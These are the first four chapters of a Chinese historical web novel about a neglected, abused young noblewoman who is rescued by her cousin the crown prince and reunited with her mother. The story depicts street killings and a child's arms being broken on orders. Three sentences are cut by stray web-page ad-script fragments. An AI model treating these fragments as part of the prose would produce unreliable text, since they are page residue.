《吾妻灵筠》 1. 第 1 章 “唉——” 兰姑挑开低垂在床榻上方的素色帷幔,抱起身上正在发热的黄毛女童。 婢女阿橘递上一件野鸭子毛做的灰不溜秋的小斗篷给兰姑包裹住女童瘦弱的身躯。 兰姑将自己的额头贴在女童烧得滚烫、凹陷下去的土黄色面颊上,一脸担忧问阿橘道:“贾夫人还是不肯应允为咱们女公子延请女医进来瞧一瞧么?” 阿橘摇首道:“贾夫人身边的春娘说,她家夫人既不是咱们女公子的嫡母,又不是咱们女公子的生母,实在做不得咱们女公子的主,要咱们遣人去清河问一问长公主殿下的意思。” “去清河问?”兰姑抱紧了怀中烧得胡乱呓语的女童,“亏贾氏那狐狸精想得出来,清河距咱们江陵一来一回少说也得十日的脚程,女公子的热症可耽误不得了。你去问过敏怀公子了么?他是咱们女公子一母同胞的兄长,又是谢氏的少家主。家主不在,自是由敏怀公子当家做主的。” 阿橘越加为难道:“敏怀公子在大娘子院中哄大娘子吃药,婢子去向敏怀公子禀说咱们女公子的病情时,敏怀公子出言责怪咱们女公子存心将病气过给大娘子,还说死了千个万个咱们女公子这样的妹妹都不打紧的,敏怀公子并不想理咱们女公子的死活。” “大娘子是他的亲妹妹么?咱们女公子才是他的亲妹妹呢。”兰姑恨铁不成钢,自己怀中抱的女童出身何等尊贵,乃谢氏家主谢琰与神武长公主周娥媖唯一的女儿,也是谢氏主支唯一嫡出的女郎。 三年前,周娥媖发觉丈夫谢琰背着她豢养外室贾心慈多年、并与贾心慈育有一女,她一纸休书弃绝谢琰,本欲带走自己亲生的一对儿女,却遭谢氏众位德高望重的族老阻拦,又经皇室叔伯从中调停,周娥媖才不得不作罢,将一对儿女留在了谢氏。 本该在谢氏相依为命的一对嫡亲兄妹,因家主谢琰将外室贾心慈纳入府中为侧夫人及贾心慈所出的庶长女的到来,变得形同陌路。 贾心慈母女进府后,本不受谢敏怀的待见的。就算贾心慈一直向谢敏怀示好、对他嘘寒问暖,谢敏怀都是视若无睹、只一心呵护自己的幼妹瞒瞒。 但转变就发生在贾心慈有孕后,她为救在荷塘边玩耍不慎掉入水中的瞒瞒而流产,谢敏怀看在她救了自己的幼妹的分上,对她的态度稍微温和了一些。 谢敏怀又在一次偶然听得贾心慈与自己父亲谈论,要将自己与幼妹瞒瞒视如己出,所以她要一直服用绝子药来保证她的孩子不会威胁到他们兄妹的地位。自此他待贾心慈这位庶母越发亲厚,更逐渐放心将幼妹瞒瞒交给贾心慈教养。 “自从咱们女公子被交给贾夫人教养后,贾夫人便千方百计阻拦咱们女公子亲近敏怀公子,反让她自己生的大娘子日日黏着敏怀公子。原本大娘子的闺名神爱该是咱们女公子得的。按江陵旧俗,女孩子满八岁便可取名了,咱们女公子都快十岁了,都没有一个正经名字,只得一个乳名瞒瞒由家人唤着。我想一想,就为咱们女公子叫屈,名字由大娘子占了去,哥哥由大娘子占了去,家主的目光由大娘子占了去,听闻那桩婚约也要被大娘子占了去。”阿橘越说越气,她体谅兰姑抱久了瞒瞒胳膊酸痛,接过瞒瞒抱在自己怀中,低首盯着瞒瞒烧得红扑扑的小脸蛋,长长叹息一声,“长公主殿下风华绝代,敏怀公子玉质金相,偏咱们女公子在样貌上一点也未沾光,身量与五六岁的小娘子差不多。” 兰姑一点都没有阿橘对瞒瞒丑陋样貌的忧虑,摸了摸瞒瞒头上蓬乱如杂草的黄毛道:“咱们女公子的福气在后面呢,贾夫人所出的大娘子小小年纪以美貌闻名于江南江北,如此招摇过市,在这乱世并不见得是什么好事。你方才说大娘子要占咱们女公子与太子殿下的婚约,家主不是有意将大娘子许给那位十二岁拜相封侯的崔郎吗?” “那位崔郎已继任清河崔氏家主之位,依照崔氏那条古怪的家规,凡任家主者,必断情绝爱,一生不得娶妻,多少名门闺秀对崔郎的倾慕之情葬送在此了。”阿橘亦是满脸遗憾,“崔郎的父亲崔翙倒是遂了愿,将自己这个惊才绝世的儿子推上了家主之位,他好安心做咱们长公主殿下的驸马。” “那位崔郎我倒见过一面,人人都道咱们家的敏怀公子生就一副好皮囊,那位崔郎的容色更胜过敏怀公子百倍,真真是个得天地神明钟爱的如玉少年郎。”兰姑算了算时辰,炉子上的药汤该煎好了,她盛出一碗苦涩的药汤放温,在阿橘的襄助下,硬生生将药汤一滴不剩地喂给瞒瞒喝下。 外头的天色已然明亮,瞒瞒被阿橘抱回床上睡觉。 小人儿舌尖上漾着化散不开的苦味,哪里肯老实睡觉,小脑袋烧得迷迷蒙蒙,却坚持要穿好衣裙去花园捉蟋蟀。 “女公子,待您的烧退下去,咱们就去花园玩耍,好不好?”阿橘与瞒瞒打着商量。 瞒瞒不依,“哥哥想要一只金角大王,我若捉着一只送给哥哥,哥哥定然会欢喜我的。” 阿橘思及敏怀公子并不爱斗蟋蟀这类小把戏,疑道:“谁与女公子说您哥哥想要一只金角大王的?” “长姐说的。哥哥那么欢喜长姐,因为长姐捉了很多蟋蟀送给哥哥。”瞒瞒一脸天真,对谢神爱说的话深信不疑。 “女公子,您忘了上次大娘子诓骗您的教训了。大娘子说敏怀公子喜欢金毛狮子犬,您便攒了半年的月钱去市集上买回一只幼犬。结果您高高兴兴抱着那只幼犬到少悔堂送给敏怀公子,敏怀公子因大娘子对狗毛过敏,便当着您的面摔死了那只幼犬,还训斥了您一通。不是大娘子假惺惺劝阻,敏怀公子还要打您三十手心板呢。”阿橘心疼极了渴望被兄长关爱的瞒瞒。 瞒瞒撅起小嘴,“也许这次长姐没有骗我呢。” 小人儿仍心存一丝希望,光着脚丫子跳下床,险些一头栽倒在地上,得亏阿橘眼疾手快抱住了她。 阿橘无奈道:“敏怀公子嫌弃您样貌生得丑陋,不配做他的妹妹。便是您寻到了世间失传已久的和氏璧送给敏怀公子,敏怀公子也不会喜欢您这个小小丑孩儿的。” 瞒瞒委屈巴巴地拿手背抹起眼泪来,抽抽噎噎道:“阿橘,你说话好毒,不能骗骗我这小小丑孩儿吗?” 阿橘又是心疼又是哭笑不得的,掏出绢帕揩拭瞒瞒脸上的鼻涕眼泪,见到小人儿哭出一个大大的鼻涕泡,忍不住笑出声来。 “敏怀公子不知道女公子您的好处,只一昧以貌取人,他也不配做女公子的哥哥。女公子不要伤心了,婢子去做一碗可以美容养颜的酪浆给您吃。” “我还想吃月亮饼。”瞒瞒咽了咽口水。 阿橘拍了拍她的小脑袋,“好,女公子想吃什么都有。” 阿橘嘱咐两个与 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 瞒瞒差不多年纪的小婢女陪她玩耍,自己转去厨房做酪浆与月亮饼。 瞒瞒正是最贪玩的年纪,虽然身上发着低热,但与摘星、指月玩起投壶来却是十发九中,引得两个小婢女不住夸赞起她。 瞒瞒骄傲地挺起小胸脯,传授摘星、指月投壶的诀窍,殷勤太过,行动间发了一身汗弄得贴身的里衣湿漉漉的。 门口的竹帘一声响动。 瞒瞒先瞧见那对黑缎小朝靴,眼睛顿时一亮,仰起小脑袋望向少年那对清澈明亮的黑眸,冲少年露出甜甜的笑容。 摘星、指月忙向少年行礼,“恭请殿下金安。” 太子周澈近前摸了摸瞒瞒的额头,蹙眉道:“你病了还这么贪玩,孤携你入宫,你陪着母后在坤仪殿小住些时日,待病好了再归家。” 瞒瞒虽说欢喜这个真心关爱她的太子表兄,但讨厌极了宫闱内压抑拘束的生活,正好阿橘捧着吃食进屋,她跑过去拿了一张月亮饼举到周澈面前,“阿澈哥哥,吃饼。” 跟着周澈的内侍七宝瞧见瞒瞒的小手上有粘腻的汗液,欲启唇提醒周澈不能吃不洁净的食物。 周澈毫不犹豫接过了那张月亮饼咬了一口,七宝想说什么,也被周澈的轻咳声噎了回去。 七宝小声嘀咕道:“殿下就宠着谢二娘子吧,回到东宫,殿下若闹起肚子,皇后娘娘第一个拿奴才治罪。” 瞒瞒自己又拿了一张月亮饼,被周澈眼疾手快抢下塞到七宝嘴里。 周澈朝阿橘使了个眼色,阿橘明白过来,哄着瞒瞒去换汗湿的衣裳以及擦身净手。 七宝见瞒瞒转入西侧间的屏风后,刚要将嘴里不敢咽下去的月亮饼吐出来,却被周澈塞过来他手中那张咬了一口的月亮饼。 周澈拍了拍七宝的肩膀,“莫辜负了谢二娘子的一片心意。” 七宝委屈地嚼着月亮饼。 “殿下——” 温柔清甜的女声在二人身后响起。 周澈回首,瞧见杏眼桃腮的少女穿着一袭银朱色对襟鲛绡芍药裙,如云乌发梳成而今最时兴的灵蛇髻,引人醉心的小脸上描画了妩媚动人的斜红妆。 少女显然是精心妆扮过的。 周澈脸上温和的笑意顿时烟消云散,冷冷淡淡朝少女颌首。 “孤在这里替母后探望病中的瞒瞒,谢大娘子贸然闯进来,失了礼节。” 谢神爱一怔,低垂着粉白的玉颈,露出怯弱又可怜的风采。 “臣女也是来探望瞒瞒的,不知殿下在此,臣女死罪。”顺势便屈膝跪在地上。 七宝不忍,倒见自家殿下对这楚楚可怜的小美人视若无睹。 方才在墨香斋门口阻拦谢神爱进来的兰姑亦进了屋,向周澈行过礼后。 “婢子已向大娘子讲明了殿下在正室内,大娘子早不来、晚不来,偏偏挑这个时候来探望我们女公子,对我们女公子真是用心良苦。” 谢神爱被兰姑当众揭穿谎言,羞红了小脸。 更衣完毕的瞒瞒抓着一张月亮饼边啃边走至周澈身旁,“阿澈哥哥,你不要欺负我长姐,哥哥说长姐性子柔弱良善,况且长姐比我更欢喜见到阿澈哥哥你——” “瞒瞒。” 周澈、谢神爱同时张口。 兰姑赶紧捂住了瞒瞒的小嘴,不让她这小人儿乱说话。 2. 第 2 章 周澈与谢神爱俱是十五岁的年纪,不似快要十岁的瞒瞒这般对男女之情懵懂无知。 周澈懂得瞒瞒这样小的年纪是不会撒谎的,他与他的母亲谢皇后一样讨厌贾心慈、谢神爱这对喜欢伪装善良柔弱的母女。 周澈看也未看羞得满面霞光的谢神爱一样,牵过瞒瞒的小手,带小人儿至饭桌旁落座。 “谢大娘子说自己是来探望瞒瞒的,家中幼妹生病,谢大娘子却打扮得花枝招展的,看来谢大娘子的心情不错。谢大娘子虽为庶出,但衣冠十姓人家皆重礼仪,是你庶母不会教养女儿,还是你就是个冷心肝的、对病中的幼妹无怜爱之心?” 谢神爱没想到自己会弄巧成拙,听闻太子殿下温润宽和,今日对她为何处处针尖对麦芒呢? 她含着泪颤颤发抖道:“殿下,臣女盛妆丽服,是因为瞒瞒欢喜臣女如此妆饰的。”望向正捧碗大口喝酪浆的瞒瞒,“瞒瞒,你告诉殿下,是与不是?” 瞒瞒放下碗,爽快地说道:“我欢喜长姐漂亮的模样,今日的长姐最最漂亮。” 谢神爱稍稍松了一口气,莲步轻移至饭桌旁,欲亲自给瞒瞒喂饭以显示自己对幼妹的关怀怜爱。 兰姑看不惯谢神爱拿瞒瞒做筏子亲近太子殿下,道:“女公子会自己吃饭,不劳大娘子伺候了。倘若被敏怀公子瞧见大娘子伺候起女公子用膳,敏怀公子定会重重责罚女公子不敬长姐的。” 瞒瞒一听到“不敬长姐”四个字,立刻红了眼眶,带着哭腔道:“我乖乖的,最听长姐的话了,也听母亲的话。” 周澈知晓瞒瞒已有三年未见她的生母神武长公主,将才瞒瞒口中的母亲肯定不是指他的姑姑。 “瞒瞒是孤见过的天底下最乖巧的小孩儿,瞒瞒告诉孤,为何要唤自己的庶母为母亲?” 贾心慈作为谢琰的侧室,不应当被瞒瞒视作长辈尊敬。在瞒瞒面前,贾心慈不过半个奴婢而已,她怎么敢、怎么受得起瞒瞒唤她这声“母亲”的? 谢神爱听到周澈说她的母亲是瞒瞒的庶母,不免为自己的出身感到羞愧,露出难堪的颜色。 瞒瞒一脸困惑不解。 “不可以唤长姐的母亲为母亲吗?” 兰姑忍不住开口道:“殿下,贾夫人欺女公子年幼无知,为让女公子唤她一声母亲不择手段。女公子不足七岁便与长公主殿下母女分离,后敏怀公子将女公子交给贾夫人教养,贾夫人常常饿着我们女公子来达到让女公子依赖讨好她的私心。女公子的母亲只有一个,那就是殿下您的姑姑神武长公主,贾夫人何德何能配当女公子的母亲啊!” “难怪瞒瞒每次进宫向母后请安都是贾氏那贱妇随从,若不是孤今日来探望瞒瞒,恐怕一直会被蒙在鼓里。”周澈抱起瞒瞒,“兰姑,你随孤进宫向母后陈情。这几年谢氏族老们一直不允姑姑见瞒瞒一面,为不使谢氏与我皇族生出嫌隙,也为谢氏上下能够善待瞒瞒,姑姑忍气吞声到今时今日。瞒瞒都唤贾氏那贱妇为‘母亲’了,孤竟不知父皇何时多了一个倒夜香家出身的妹妹。” 贾心慈母家往上数三代都是干着倒夜香的营生,这也是谢氏族老们迟迟不松口应允谢琰扶正贾心慈的缘故。 谢神爱又惊惧又羞耻,哭着跑了出去。 周澈抱着瞒瞒乘车回帝都白玉京。 * 白玉京距江陵是半日的车程。 周澈从江陵出发时,已写了一封家书遣信使快马加鞭送去清河的神武长公主府上,家书中言明瞒瞒在谢氏受的种种委屈,家书最后一句是请他姑姑务必上白玉京与瞒瞒见上一面。 坐在马车内的瞒瞒仍发着低热,小人儿窝在周澈怀中,仰起小脸问他。 “阿澈哥哥,我突然去你家做客,母亲和哥哥会不会担心我呀?” 他们是该担心的,担心他们自己会不会受帝后问责。 周澈纠正瞒瞒道:“贾氏并不是你的母亲,你唤他‘贾夫人’即可。谢敏怀担当不起你这一声‘哥哥’,他太过分了,受贾氏母女挑唆蛊惑,和她们一起欺负你。” 兰姑和周澈说了瞒瞒三年来在谢氏的庄园过着什么日子,她像一棵野草一样生长,还要去讨好贾心慈、谢神爱、谢敏怀等人。 周澈越听越难过,后悔没有早点发现瞒瞒在谢氏的孤苦无依的境地,让这小人儿平白无故吃了这么多苦头。 “我知道哥哥在欺负我,但他是我哥哥呀,手足之间应相互扶持,家族才会越来越兴旺。”瞒瞒说着不符合她年纪的稳重老成的话,全然没有小孩儿日日无忧无虑的快活模样。 周澈想杀谢敏怀的心都有了,他只是瞒瞒的表兄,都心疼瞒瞒的懂事乖巧,谢敏怀还是瞒瞒的嫡亲兄长,却冷落轻慢他这唯一的妹妹。 “瞒瞒,想不想去清河随姑姑一起生活?”周澈问道。 “想就可以吗?”瞒瞒笑问。 “想就可以。”周澈温柔地笑,“到了帝后面前,瞒瞒要哭得凄惨一些。” 瞒瞒“哇”的一声嚎啕大哭起来,很快止住哭声。 “阿澈哥哥,是像这样哭吗?” 周澈甚为欣慰地望向她,“眼泪说来就来,瞒瞒真厉害。” 瞒瞒不好意思地抓着自己蓬乱的黄毛,“哥哥从来不会夸奖我,阿澈哥哥你真好,我做什么你都不会讨厌我。” “那不如你就留在东宫和孤一起生活。”周澈开玩笑道。 “不要不要。”瞒瞒摇晃着小脑袋,“宫里的规矩比家里还多,好吃的菜都不能夹超过三筷子,我最怕吃不饱了。” 周澈点了点小人儿的鼻尖,对她耿直的性子欣赏不已。 他很难听到身边人的真话,只有和瞒瞒相处时,身心才算得真正的放松。 几位皇弟都嘲笑他有这么一个傻乎乎、样貌丑的小小未婚妻,可他们怎么懂得这未经雕琢的天然璞石的好处。 安心,小人儿身 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上散发着令他安心的味道。 周澈靠着车壁假寐,瞒瞒撩开车帘,睁着圆圆的眼睛看沿路的风景。 老翁牵着大水牛耕田,放牛的牧童吹着悠扬动听的笛声,妇人辛勤采桑哼唱乡间的民谣…… 这一幕幕都是她在家中看不见的场面。 马车驶入白玉京,瞒瞒又被帝都街市上的繁华所吸引,圆圆的眼睛舍不得眨动。 驶到朱雀街上,一辆翠盖珠缨八宝车对上了周澈所乘的金顶华盖朱轮车。 瞒瞒认得这辆不肯让路的车后跟着的是清河崔氏的白袍军。 为周澈驾车的车夫甩动手中的长鞭,大声朝对面喝道:“皇太子车驾在此,尔等速速回避。” 一位身穿甲胄的少年将军骑马挡在那辆翠盖珠缨八宝车前,拉弓射箭,锋利的箭头贯穿了还想喊话的车夫的喉咙。 少年将军冷漠地嗤笑一声。 “聒噪!” 七宝将车外的情形回禀给车厢内的周澈听。 周澈揉摁着自己的眉心,淡淡道:“既是崔相的车驾,我们让路就是。” 清河崔氏与大靖皇室共天下,乃衣冠十姓之首。 对面车内坐的少年宰相崔循刚继任崔氏家主之位,便是靖帝见了他也要礼让三分的,更何况大靖不日将与大梁开战,此次战役的主力是清河崔氏统领的五十万白袍军加神武长公主麾下的十万鸣鸾卫,周澈不可能在这个节骨眼上得罪崔循。 皇家车队避让,路人纷纷啧舌清河崔氏的滔天权势,有几人甚至议论起崔循的闲话来。 “咻”“咻”“咻”几箭,银鞍上的少年将军射杀了那几个谈论崔循的百姓。 原本喧闹的朱雀街顷刻间鸦雀无声,人人自危,怕少年将军手中的弓箭指向他们。 兰姑赶忙将瞒瞒的眼睛用手蒙住,可瞒瞒已经看见了鲜血从那些人的喉间喷涌而出,小人儿心直口快,探出半个身子到车窗外朝那冰块脸的少年将军扮鬼脸,“你个大坏蛋!” 兰姑吓出一身冷汗,想将瞒瞒拉扯回车厢内,瞒瞒却直接从车窗处跳下了车,在地上滚了几圈,起身后衣裙上的灰都来不及拍,跑向那辆翠盖珠缨八宝车,对着车门后的人影不客气道:“你命人当街射杀无辜百姓,是何道理?清河崔氏家训为‘致贵’,意为登临高位竭天下之力以供养万民,你有违家训,需受鞭笞之刑。” “黄毛小儿,崔氏家主、堂堂相国也是你可出言教训的?”少年将军骑马靠近瞒瞒,居高临下将锋利的箭头对准瞒瞒的小脑袋。 “家主又如何?相国又如何?做错了就得认。”瞒瞒无所畏惧地怒视银鞍上的少年将军。 “星野,收回你的弓箭。这黄毛小儿自然可以教训我,她腰间别着文心阁大阁领萧老先生的麒麟令,她是我母亲的女儿。”车上崔循的声音清冷低沉,他掷出一柄象牙贴面的湘妃折扇到瞒瞒怀中,“这是为兄给你的见面礼,丑孩儿。” 3. 第 3 章 瞒瞒像一只炸了毛的小猫,生气地将那柄折扇撕成几片。 “谁要认你这样残暴冷血的人当兄长!” “我忘了,谢敏怀才是你一母同胞的兄长。”崔循的笑声很是轻蔑,“往日与谢敏怀一同赴宴的可不是你这丑孩儿,是谢大娘子。” 崔循三言两语戳中瞒瞒的痛处。 瞒瞒很快反应过来,将偏离的话题扯回原处。 “你命人当街射杀无辜百姓的错处可认?” “诽谤华族,是死罪。星野杀他们,死有余辜。” 一颗鱼目那么大的珍珠砸向瞒瞒的额头,是崔循屈指弹出的。 衣冠十姓人家又称华族,是仅次于皇族的特权阶层。 瞒瞒无可反驳,紧紧抿唇。 “丑孩儿,不是看在我母亲的分上,你今日定会死在星野的箭下。你当面毁损我送你的见面礼,实在有伤我清河崔氏的颜面。”崔循又唤了一声那个名为星野的少年将军,“折断她的胳膊。” 少年将军姓慕,出自云中慕氏一宗,慕氏兵强马壮,自是不惧江陵谢氏出身的瞒瞒。 慕星野得令后,不管周澈的大声喝止,用弯弓打折了瞒瞒的两条小胳膊。 “谢二娘子不尊崔相在先,痛一痛,可得长记性了。” 崔循要他的车驾让路,周澈可以忍。 而今见瞒瞒被慕星野弄伤,周澈忍无可忍。 周澈腰间宝剑出鞘,寒光直逼入慕星野的黑眸中。 慕星野绷紧弓弦,将箭头对准周澈的心口。 周澈身后的七宝尖着嗓子道:“射杀皇朝太子,乃谋逆大罪。” “星野,射杀庶人,算不得谋逆大罪。”崔循一直安然坐在车上,未曾露面,但在场的人都见识了他的嚣张气焰。 周澈原本白皙如玉的脸涨红如火,他明白崔循这话的分量重逾千斤,清河崔氏确有左右靖帝废立太子的能力,他开罪不起崔循,默默将宝剑归入剑鞘之中,抱起受伤却一脸倔强的瞒瞒转身上车。 慕星野冷笑道:“废物周澈。” 瞒瞒回首对慕星野扮起鬼脸,慕星野举起手中的弓箭吓唬她,倒觉得这个天不怕、地不怕的小姑娘有意思得很。 慕星野让身下的骏马靠近崔循所乘的车驾。 “我用了狠劲弄折那谢二娘子的小胳膊,她眉头都没皱一下,怕是要记恨上你我了。她到底是神武长公主的女儿,你回清河,不怕你母亲为此事责罚你?” 车队在官道上疾驰,车厢内的崔循撩开车帘,回望了太子的车驾一眼。 “她果敢刚正,不枉费母亲这三年来为她绸缪算计之心。她既得了造化要住到清河来,忍我这一点脾气算得了什么。依母亲教养子女的用心,她还有许多苦头要吃呢。” 慕星野笑道:“不打不骂,不能成材。幸亏我没摊上神武长公主那样的母亲,否则我宁可去上吊。” * 坤仪殿。 谢皇后一直在门口的廊柱后徘徊,望穿秋水,终于盼得周澈携瞒瞒来见她。 “这胳膊是怎么了?哪里弄伤的?”谢皇后看见瞒瞒双臂上缠绕的素布条,万分心焦小人儿的伤势。 瞒瞒甜甜地喊了一声“姑姑”,将今日在朱雀街与崔循交锋的事向谢皇后娓娓道来。 谢皇后知儿子受辱,却只能吃下这等哑巴亏。 “陛下面前,你们休提今日朱雀街之事。” 瞒瞒、周澈互相对视,而后恭敬答应谢皇后。 谢皇后在正殿升座,先问过瞒瞒的近况,然后命周澈带瞒瞒去吃点心,留下兰姑、阿橘问话。 “三年,已是长公主忍耐谢氏的极限。那些族老们因家族声名害长公主与她一对儿女骨肉分离。敏怀是谢氏的少家主,担负着谢氏一门荣辱,本宫强求不得敏怀去清河向长公主尽孝。但瞒瞒不同,她在谢氏的庄园受了欺负,还是回亲生母亲身边生活为好,贾氏那个愚妇只会教坏瞒瞒这个好孩子的。”谢皇后听得兰姑、阿橘回禀瞒瞒在谢氏这三年是如何度过的,证实了她心中认为贾心慈品行不端的猜想,故说出这一番肺腑之言来。 兰姑、阿橘俱是热泪盈眶,她们的女公子能得神武长公主亲自教养,那是再好不过的。 待靖帝忙完政事来坤仪殿陪谢皇后用膳,谢皇后向靖帝委婉提及瞒瞒之事。 靖帝思虑良久,想出一个两边都不得罪的法子,让瞒瞒半年住在江陵,半年住在清河,既全了神武长公主与瞒瞒的母女之情,又顾全了谢氏的体面。 谢皇后也不好再说什么,只等谢琰、神武长公主入宫来定下这桩事。 那是景元十三年立夏日。 瞒瞒在坤仪殿第一次见到自己的母亲,她对母亲的记忆一向模糊,当那个艳绝人寰的宫装丽人向缩在谢皇后怀中的她展臂时,她愣了一愣,圆圆的眼睛中充满淡漠疏离。 小女儿的眼神深深刺痛了周娥媖的心。 “灵筠,到母亲这儿来。”周娥媖拿着自己亲手做的月亮饼逗引瞒瞒。 “谁是灵筠?”瞒瞒仍旧紧紧攥住谢皇后的宽袖。 “你的父亲为与我怄气,不肯赐名于你,母亲便为你取了这个名字,你不喜欢的话,母亲再给你另取过名字。”周娥媖时时刻刻关注瞒瞒的神情。 “灵筠,谢灵筠,我有名字了,我叫谢灵筠。”小人儿扑进她母亲温暖的怀抱中。 母女俩紧紧相拥,看得凤座上的谢皇后连连落泪。 “灵筠,给你皇后姑母磕个头,多谢她这三年来对你嘘寒问暖的关切。”周娥媖牵着小灵筠的小手,自己先向谢皇后盈盈一拜,而后放手让小灵筠跪在蒲团之上向谢皇后磕头。 谢皇后伸手扶起了小人儿,将她搂进自己怀中,摸着她的小脑袋道:“本宫没有儿女双全的福气,唯盼着灵筠你快快长大,到时候与阿澈一同向本宫斟茶问安。”言罢,望向脸泛薄红的周澈。 周娥媖笑道:“孩子们还小,阿澈这等人才样貌,灵筠怕是高攀不上的。” 谢皇后脸上的笑容滞住了,“长公主是看不上本宫的阿澈了。” 周娥媖将小灵筠拉扯到自己身旁,“孩子们的事,等孩子们长大了自己定。我是年少时吃了这样的亏,不想灵筠再走我的老路。”她宠溺地捏了捏小灵筠的鼻尖,“她长大了嫁不嫁人,嫁什么样的儿郎,都由她自己拿主意,我负责好好养大她便是。” 周娥媖向周澈招手,“阿澈,姑母问你,要是灵筠长大了不愿意同你在东宫做伴,你会强迫她吗?” 周澈看了一眼神色不悦的谢皇后,直直道出自己心里的想法。 “强人所难,非君子所为。阿澈爱护瞒瞒,爱护她一辈子。” 周娥媖向周澈投以赞许的目光。 “你比你父皇强许上多。”转而对上谢皇后的目光,“婉娘,凭阿澈方才那两句话,不必用联姻的法子,兰陵萧氏和清河崔氏都会力保阿澈的储君之位,你大可放心。” “阿澈,还不向你姑母道谢。”谢皇后心头大石落地。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 周澈朝周娥媖长揖到地,心里却很不是滋味。 他对瞒瞒是真心爱护,没有掺杂其他的目的,可被母后这么一弄,倒成了他图谋姑母背后的势力。 “阿澈哥哥,你好像有点不高兴。”小灵筠惯会察言观色。 周娥媖看穿了周澈的心思,宽慰他道:“姑母懂你对灵筠的一片心意,她还小,又是个没心没肺的孩子,等过个几年,你别被她气坏了才好。” 周娥媖虽未和女儿亲近过多少时日,但这三年来也放了不少眼线在小灵筠身边,也摸清了女儿的一些脾性。 周澈这孩子便似一块无暇玉,生在天家、长在天家,恐怕不是个长命郎君,当个吟风弄月的华族贵公子尚可,承担宗庙社稷却不一定能守住这乱世下风雨飘零的江山。 她并不放心将女儿的终身交托给周澈这等温良无害的君子。 谢皇后自然明白周娥媖话语间的机锋,她不想伤儿子的心,道:“阿澈,你瞒瞒妹妹要随你姑母去清河了,你带瞒瞒妹妹去坤仪殿的库房中挑一些可心的礼物。” 小灵筠牵着周澈的手跑出殿外,小灵筠脚步轻快,而周澈心中阴霾集聚。 正殿中只余周娥媖与谢皇后及侍奉的宫人。 谢皇后举盏请周娥媖用茶,“去岁的母树大红袍,旧茶新水,本宫也就配拿得出手这样的茶招待皇姐了,请皇姐莫嫌弃这寒酸味道。” “陛下与我一同习帝王权术长大,我喜欢皇权霸道,陛下则喜欢平衡之道。后宫高位妃嫔皆是衣冠十姓出身,婉娘你在这中宫之位上终日惶惶吧。”周娥媖扬起芙蓉面,她当然有倨傲的资本,她是先帝与萧皇后的独女,又在皇子皇女中居长,差一点,先帝就要传位于她,也是差一点,她就要成为大靖第一位女帝。 “我江陵谢氏一直是皇族最忠心的盟友,成于忠,败于忠,靖室已然有没落气象,阿澈将来便是顺风顺水,至多是个傀儡皇帝罢了。”谢皇后心酸不已,“本宫瞧着瞒瞒比她哥哥有出息,你最疼爱这个女儿,又是喂瞒瞒吃侏儒丹,又让她受这三年磋磨,只为磨练她的心性。本宫不及你心狠,因本宫怕与阿澈的母子情分淡薄。本宫说这些话,也是为了提醒皇姐,教养归教养,莫伤了你与瞒瞒的母女情分才是。皇姐心高气傲,厌弃了陛下与谢琰。那崔翙对皇姐千依百顺,可崔氏毕竟与皇姐是毫无干系的。皇姐当那崔循的养母,就不怕养成个白眼狼来?” 谢皇后长篇大论,最要紧的却是最后一句话。 周娥媖回顾与崔循的三年母子情分,那少年多智近妖、冷血无情,不过碍着他父亲崔翙的面子尊呼她一声“母亲”,她确实看不穿、猜不透崔循的心思。 比如这次她上白玉京来接女儿去清河,崔循特意为小灵筠建造了一座鸾园与她的长公主府毗邻,那少年是在讨好她吗?不见得。那座鸾园里的景色全是按照他生母——一位低贱但绝色的舞姬的喜好来布置的。这分明是在挑衅她。 她不打算让女儿住进那座有故人气息的鸾园之中。 “婉娘,当年崔循生母徐氏之死,报应并不在我身上。”周娥媖直勾勾将森冷寒凉的目光投向谢皇后脸上,“该害怕的人,是你与陛下才对。” 谢皇后想起徐氏惨烈的死相,嗫嚅着发白的嘴唇,身上的凤袍被汗水浸透,喃喃道:“冤孽啊!都是冤孽啊!” “母亲,那个讨厌的崔相在宫门口等你我归清河。”小灵筠跑进殿中。 她天真的话音飘进谢皇后的耳朵中,令谢皇后颓然晕倒在凤座上。 4. 第 4 章 殿中的女官宫婢乱作一团。 周娥媖敛收嘲讽的笑颜,将女儿牵到殿外的廊檐下说话。 “称呼你兄长崔相就罢了,怎么还给人加上‘讨厌’二字?” 周娥媖休弃谢琰后,二嫁年少的恋人崔翙。 清河崔氏家主之位本该由崔翙继任,但碍于崔氏家主不得娶妻生子的家规,崔翙让其与外室所生之子崔循替自己继任家主之位。 在周娥媖看来,养子崔循性情冷淡如高山上常年不化的雪,且他是个心思深沉的少年,尤其擅长与他父亲崔翙讨价还价。 对崔循不喜归不喜,但周娥媖从来不会为难他,将女儿接去清河与自己同住,女儿肯定是要和崔循打交道的,多一事不如少一事,趁此打消女儿对崔循的不恭敬为好。 小灵筠很是不服气地争辩道:“他就是讨厌,他命人乱杀无辜百姓,视人命如草芥。” “你在谢氏耳濡目染的是儒家思想,可乱世之中,法家、兵家思想方堪大用。”周娥媖不得不承认自己与崔循其实是一路人,她忍耐三年寻准时机将女儿接回自己身边教养也是为了让女儿将来能成国之重器,她偏不信女子合该相夫教子的道理,“你兄长用兵如神、执法如山,只有人人畏惧他,他才能稳坐高台、指点江山,在他面前,你不可说悖逆之言。” “知道了。” 小灵筠像霜打的茄子一样蔫了下去,随周娥媖至宫门口后,早侯在马车旁的崔循来向周娥媖行礼问安,小灵筠木木地站在周娥媖身旁当作没看见崔循。 崔循命婢女奉上一罐八宝琉璃糖给小灵筠。 “母亲,上次见到瞒瞒,她并不喜欢儿送她的折扇,也是,这样大的小孩儿都是喜欢吃糖的。” 八宝琉璃糖,因熬糖原料珍贵、制作工艺复杂,一颗便价值万钱。 这一罐子八宝琉璃糖,都够在白玉京最繁华的坊市买一处占地十亩的宅子了。 小灵筠之前尝过一颗,还是沾了她长姐谢神爱的光。 谢敏怀年年都送一罐八宝琉璃糖作为贺谢神爱生辰的礼物之一,去岁谢神爱生辰那日,她不慎将一颗八宝琉璃糖跌到地上沾了尘灰,小灵筠一点也不介意地从地上捡起来含进嘴里,为此还被在场的其他贵女嘲笑讥讽。 现在她一个人就有一罐子八宝琉璃糖,根本藏不住内心的雀跃,对崔循的讨厌早抛到九霄云外去了。 